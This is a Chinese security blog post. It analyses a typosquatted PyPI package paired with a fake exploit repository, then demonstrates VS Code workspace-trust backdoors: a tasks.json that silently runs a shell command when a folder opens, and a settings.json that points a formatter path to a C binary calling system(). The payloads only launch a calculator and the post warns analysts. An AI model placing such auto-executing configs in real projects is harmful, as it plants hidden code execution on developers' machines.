利用 vscode 打造后门门中门

本文最后更新于:2022年10月14日 上午

俗话说,常在河边走...

起因

7.25 有位小伙伴在小群里发了这张截图:

fake_useragent 相信写爬虫比较多的橘友都用过,它可以随机生成一些看起来很合理的 ua,用来做一些简单的反反爬。这个恶意的库名叫 fake_useragant,就差一个字母。

正好那段时间在护网,所以我想着不如分析分析看看是不是攻击队又有啥新手法了。

分析过程

由于 pypi 官方响应非常快,这个包在我准备下载的时候已经被删除了。不过一般来说自建源和官方源的同步都存在一定的时间差,所以可以去清华源之类的下载(其实这个时候也可以看出自建源存在的弊端)。

整个恶意库的源码非常简单:

然后下载真正的 fake_useragent 做了一下 diff。其实直接看修改日期也可以看到哪些文件改掉了。

除了名字替换之外,主要的修改在:

  1. fake.py 中新增了 FakeUserAgent.exit 方法
  2. 新增了 urllib2.py,里面有 taskurlparse 函数,还特意用 import pickle as json 做了个障眼法。task 会调用 urlparse,而 urlparse 函数包含了恶意的 payload

恶意的 payload 解到最后是这样的:

感兴趣的橘友可以自行分析这段 shellcode 的作用。

分析到此就结束了,这个后门并不复杂。问题是,通常恶意库的触发点都会放在 setup.py 下,但是我并没有在这个后门的源码中找到触发点,也就是说我直接 pip install 也不会有问题。这就很奇怪了。

问了下小伙伴,说是有个人假装防守队,说自己捕获了攻击队的 0day 利用,所以写了个 exp 放到 GitHub 上了:

https://github.com/FuckRedTeam/360tianqingRCE/blob/1326a51307e576b22a36ec79c466471af5e17086/360tianqing-RCE.py#L90

这鱼钓的。。。所以它俩是搭配使用的,这就说的通了。

vscode 能否触发后门?

至此,还剩最后一个问题,就是网传用 vscode 打开之后,点击信任文件夹也可能会被日。那么到底存不存在这种可能性呢?如果可能的话,那么具体要如何复现呢?

文件夹的信任模式

vscode 会在你打开一个新的文件夹时提示:

由于我没用过 vscode,一般用的是 sublime,所以我特意去官网上看了下这个操作的含义:

https://code.visualstudio.com/docs/editor/workspace-trust#_trusting-a-workspace

设置为不信任模式,主要是通过禁用或限制几个 vscode 功能的操作来阻止自动代码执行,包括:task、debug、工作区设置和插件。所以我们可以尝试通过这几种配置来制作后门。

门中门

为了实现我们的目的,首先需要创建一个 .vscode 目录。

由于精力有限,我就测试了两种方式。

tasks.json 后门

看了下 task 的配置,文件名就叫 tasks.json,配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"version": "1.0.0",
"tasks": [
{
"label": "x",
"type": "shell",
"command": "calc; open -a /System/Applications/Calculator.app",
"presentation": {
"reveal": "never"
},
"runOptions": {
"runOn": "folderOpen",
}
}
]
}

稍微解释一下:

  1. typecommand:用于配置自动执行的命令
  2. presentationreveal 需要设置为 "never",这样执行 task 的时候就不会弹个控制台出来。
  3. runOptionsrunOn 设定为文件夹打开的时候就执行

至于这个执行的命令,为了兼容多平台,可以用 ; 分割写不同的指令,执行失败会继续尝试。

这样,只要分析的时候不小心点了“信任”,就会触发这个后门。

需要注意的是,提示是否信任的时候,如果点击得太慢,那么本次是不会触发 task 执行的(我猜测弹窗等待确认并不会阻塞执行 task 的逻辑,它们是并行的事件),但是下次打开必定会触发。

settings.json 后门

vscode 的配置比较多,我这里就举个例子说明吧。

settings.json 里可以给插件配置一个可执行文件的位置。如果这个可执行文件是后门,那么在格式化代码的时候就会触发:

1
2
3
4
5
6
{
"files.autoSave": "onWindowChange",
"editor.formatOnSave": true,
"editor.formatOnPaste": true,
"python.formatting.autopep8Path": ".vscode/a.out",
}
  1. python.formatting.autopep8Pathautopep8 的可执行文件指向我们的后门。需要注意的是这里似乎无法使用 shell 脚本,必须要是一个二进制类型的可执行文件
  2. editor.formatOnPaste(声明文件在保存时自动格式化代码;)、editor.formatOnPaste(声明文件在粘贴时自动格式化代码)、files.autoSave(文件在 vscode 失去焦点时自动保存),这三者都是为了提高触发后门的几率

接下来只需要写个恶意的二进制文件就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
char str[300] = {};
strcat(str, "open -a /System/Applications/Calculator.app; autopep8 ");
strcat(str, argv[1]);
strcat(str, " ");
strcat(str, argv[2]);
system(str);
return 0;
}

恶意指令后面加个 autopep8 以及传入的参数用于正常地去格式化代码,尽量做到无感。

需要注意的是这个可执行文件不要随意打印内容,否则会执行失败,具体原因我也懒得研究了。

最后我们可以故意把源码弄成很乱的格式,正常一看这么乱肯定就要先格式化一下,然后就 G 了。

源码都打包传到 pypi 去了,payload 就是弹个计算器而已,没有攻击性的 payload,感兴趣可以自己尝试一下:

源码

https://github.com/Macr0phag3/vscode-door

py 库地址

https://pypi.org/project/fake-usreagant/0.0.3/#files

要做到比较完善的话,可能需要搜集下类似的插件,尽可能把可执行文件路径的配置覆盖全。同时其他配置也可能可以制作后门。

最后再说一点,vscode 在信任的时候有个选项,可以勾选是否信任父文件夹,这个一定要谨慎打钩。一个常见的攻击场景是,某安全工程师由于经常需要下载源码预览,为了方便就把整个下载目录设为可信目录。这个时候只要下到一个带有 .vscode 的恶意源码就会中招。

并且其他编辑器例如 idea 或许也存在这个问题,精力有限,就不测试了。

总结

其实 360tianqing-RCE.py 那个仓库最好再加个 requirement.txt,这样可能会有人直接 pip install -r requirement.txt 了,中招的概率进一步增大,这一点没啥好说的,不管是不是敏感时期,拿到 exp 都要仔细看看啊。

其次就是分析恶意软件或者源码的时候尽量在虚拟机进行吧。像 vscode 这种信任,说实话,绝大部分人都会点信任,在河边走哪有不湿鞋,还是小心点为妙。


你你你居然在 exp 里下毒!


利用 vscode 打造后门门中门
https://www.tr0y.wang/2022/08/11/vscode-door/
作者
Tr0y
发布于
2022年8月11日
更新于
2022年10月14日
许可协议